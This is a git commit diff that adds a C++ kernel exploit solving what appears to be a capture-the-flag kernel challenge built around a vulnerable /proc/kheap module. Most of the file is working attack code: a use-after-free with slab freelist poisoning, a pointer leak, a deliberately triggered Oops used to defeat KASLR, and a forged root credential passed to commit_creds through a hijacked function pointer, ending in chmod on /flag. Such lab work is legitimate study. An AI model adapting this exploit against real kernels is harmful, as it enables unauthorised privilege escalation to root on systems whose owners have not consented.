Updated Level3 of KernelExploitation

This commit is contained in:
Jack Ren
2025-11-15 11:42:06 +08:00
parent f736fa4168
commit c26d1b3bf2
4 changed files with 232 additions and 1 deletions

View File

@@ -1 +1,3 @@
!*.ko
!*.ko
vmlinux

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,229 @@
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <cstdlib>
#include <ctime>
#include <vector>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#define CMD_COPY_TO_USER 0x5700
#define CMD_COPY_FROM_USER 0x5701
#define CMD_EXE_FUNC_PTR 0x5702
#define CMD_FREE_CHUNK 0x5703
// Unrandomized
// nm -a /challenge/vmlinux | grep symbol_name
const uint64_t kernel_base = 0xffffffff81000000ull; // _text
const uint64_t commit_creds = 0xffffffff810b8bb0ull; // commit_creds
const uint64_t root_user = 0xffffffff82a51560ull; // root_user
const uint64_t init_user_ns = 0xffffffff82a51600ull; // init_user_ns
const uint64_t init_ucounts = 0xffffffff82a53800ull; // init_ucounts
const uint64_t init_groups = 0xffffffff82a52fd8ull; // init_groups
const uint64_t init_cred = 0xffffffff82a52f20ull; // init_cred
const uint64_t _printk_rb_static_infos = 0xffffffff82a58c20ull; // _printk_rb_static_infos
// nm -a /challenge/challenge3.ko | grep symbol_name
const uint64_t do_print = 0x10ull; // do_print
// Randomized
uint64_t kernel_ASLR_offset = 0;
uint64_t _printk_rb_static_infos_randomized = 0;
uint64_t kernel_base_randomized = 0;
uint64_t commit_creds_randomized = 0;
struct cred {
uint64_t usage;
uint32_t uid;
uint32_t gid;
uint32_t suid;
uint32_t sgid;
uint32_t euid;
uint32_t egid;
uint32_t fsuid;
uint32_t fsgid;
unsigned int securebits;
uint64_t cap_inheritable;
uint64_t cap_permitted;
uint64_t cap_effective;
uint64_t cap_bset;
uint64_t cap_ambient;
unsigned char jit_keyring;
void *session_keyring;
void *process_keyring;
void *thread_keyring;
void *request_key_auth;
void *security;
void *user;
void *user_ns;
void *ucounts;
void *group_info;
union {
int non_rcu;
struct {
void *next;
void (*func)(void *head);
} rcu __attribute__((aligned(sizeof(void *))));
};
};
char buf[0x1000];
struct kheap_req_t {
void * ubuf;
size_t size;
} req = {buf, 0};
int new_fd() {
return open("/proc/kheap", O_RDWR);
}
// Refer to
// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
void do_fake_cred(struct cred *fake_cred, void* security) {
memset(fake_cred, 0, sizeof(struct cred));
// placement new
new (fake_cred) cred {
.usage = 1,
.uid = 0,
.gid = 0,
.suid = 0,
.sgid = 0,
.euid = 0,
.egid = 0,
.fsuid = 0,
.fsgid = 0,
.securebits = 0,
.cap_inheritable = 0,
.cap_permitted = 0xFFFFFFFFFFFFFFFF,
.cap_effective = 0xFFFFFFFFFFFFFFFF,
.cap_bset = 0xFFFFFFFFFFFFFFFF,
// nm -a /challenge/vmlinux | grep symbol_name
.security = security,
.user = (void*)(kernel_ASLR_offset + root_user),
.user_ns = (void*)(kernel_ASLR_offset + init_user_ns),
.ucounts = (void*)(kernel_ASLR_offset + init_ucounts),
.group_info = (void*)(kernel_ASLR_offset + init_groups),
};
}
const int max_buffer_size = 0x1D0;
const int freelist_ptr_offset_to_buf = 0xE0;
const int fake_chunk_offset = 0x10;
const int buf_to_chunk_start_offset = 0x8;
const int module_data_offset = 0x2000;
const int struct_module_offset_to_data = 0xC0;
int main() {
req.size = max_buffer_size;
int fd1 = new_fd();
// Free chunk of `fd1`
ioctl(fd1, CMD_FREE_CHUNK, &req);
// Freelist: fd1 -> fd2 -> fd3 -> ...
// Use after Free chunk of `fd1`
ioctl(fd1, CMD_COPY_TO_USER, &req);
// Read `ptr` of freed chunk of `fd1` -- `fd2`
uint64_t fd2_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf];
printf("fd2_ptr: %p\n", fd2_ptr);
// Regain the same chunk of `fd1` -- `fd1_dup` to get chunk of `fd2` in next steps
int fd1_dup = new_fd();
int fd2 = new_fd();
// Free chunk of `fd2`
ioctl(fd2, CMD_FREE_CHUNK, &req);
// Freelist: fd2 -> fd3 -> ...
// Read `ptr` of freed chunk of `fd2` -- `fd3`
ioctl(fd2, CMD_COPY_TO_USER, &req);
uint64_t fd3_ptr = *(uint64_t *)&buf[freelist_ptr_offset_to_buf];
printf("fd3_ptr: %p\n", fd3_ptr);
// Set `ptr` to `fd2` + fake_chunk_offset
*(uint64_t *)&buf[freelist_ptr_offset_to_buf] = fd2_ptr + fake_chunk_offset;
ioctl(fd2, CMD_COPY_FROM_USER, &req);
// Freelist: fd2 -> fd2 + fake_chunk_offset -> 0
// Regain the same chunk of `fd2` -- `fd2_dup` to get chunk of `fd2` + fake_chunk_offset in next steps
int fd2_dup = new_fd();
// Set `ptr` of faked `fd2` + fake_chunk_offset to `fd3` to recover the corrupted state of freelist
*(uint64_t *)&buf[freelist_ptr_offset_to_buf + fake_chunk_offset] = fd3_ptr;
ioctl(fd2, CMD_COPY_FROM_USER, &req);
// Freelist: fd2 + fake_chunk_offset -> fd3 -> ...
int fd2_fake = new_fd();
// Freelist: fd3 -> ...
// Now, the offset between chunk of `fd2` and chunk of `fd2_fake` is `fake_chunk_offset`
// Try to leak address of kernel module symbol `do_print`
ioctl(fd2, CMD_COPY_TO_USER, &req);
uint64_t do_print_ptr = *(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset];
printf("do_print_ptr: %p\n", do_print_ptr);
uint64_t kernel_module_base = do_print_ptr - do_print;
printf("kernel_module_base: %p\n", kernel_module_base);
// set the func ptr to an invalid value
*(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = 0x4142434445464748ull;
ioctl(fd2, CMD_COPY_FROM_USER, &req);
// Fork a child process to trigger an Oops to leak kernel base.
// NOTE that both child and parent process keep reference to
// the file descriptors, so even if the child process crashed,
// parent process still holds them so the freelist chain won't be
// corrupted meanwhile reducing the exploit development complexity.
int child_pid = fork();
if (child_pid == -1) {
perror("fork failed");
exit(EXIT_FAILURE);
}
if (child_pid == 0) {
// Child process
printf("Child process triggering kernel Oops.\n");
ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req);
// Expected Oops there
printf("Unreachable path!\n");
exit(EXIT_FAILURE);
}
// Parent process
wait(nullptr);
printf("Parent process waiting finished.\n");
// In kernel Oops message,
// r10 is `_printk_rb_static_infos`
// r11 is `_printk_rb_static_descs`
printf("Please input r10 in hex form, e.g. ffffffffb4458c20:\n");
scanf("%llx", &_printk_rb_static_infos_randomized);
kernel_ASLR_offset = _printk_rb_static_infos_randomized - _printk_rb_static_infos;
kernel_base_randomized = kernel_base + kernel_ASLR_offset;
printf("kernel_base: %p\n", kernel_base_randomized);
// Validate via `sudo cat /proc/kallsyms | grep " _text"`
commit_creds_randomized = commit_creds + kernel_ASLR_offset;
// set the func ptr to randomized `commit_creds`
*(uint64_t *)&buf[fake_chunk_offset - buf_to_chunk_start_offset] = commit_creds_randomized;
ioctl(fd2, CMD_COPY_FROM_USER, &req);
// fake a `struct cred` in `fd2_fake`
struct cred fake_cred;
uint64_t security_addr = fd2_ptr + fake_chunk_offset + 8 + sizeof(struct cred);
do_fake_cred(&fake_cred, (void *)security_addr);
memcpy(buf, &fake_cred, sizeof(struct cred));
ioctl(fd2_fake, CMD_COPY_FROM_USER, &req);
// execute function pointer in kernel space
ioctl(fd2_fake, CMD_EXE_FUNC_PTR, &req);
// try change the mode of flag
chmod("/flag", 0777);
return 0;
}
// Protection:
// - KASLR on.
// - SMAP, SMEP On.
// - CONFIG_SLAB_FREELIST_RANDOM=y
// - CONFIG_SLAB_FREELIST_HARDENED=n
// - CONFIG_RANDSTRUCT=n
// Debug:
// Use `sudo cat /proc/modules` to get kernel module base.
// gdb> add-symbol-file /challenge/challenge3.ko [ModuleBase]
// gdb> b kheap_open
// gdb> b kheap_ioctl
// An aligned slub slot is 0x200 bytes, original slub slot is 0x1D8 bytes.
// $ g++ exploit.cpp -o exploit -g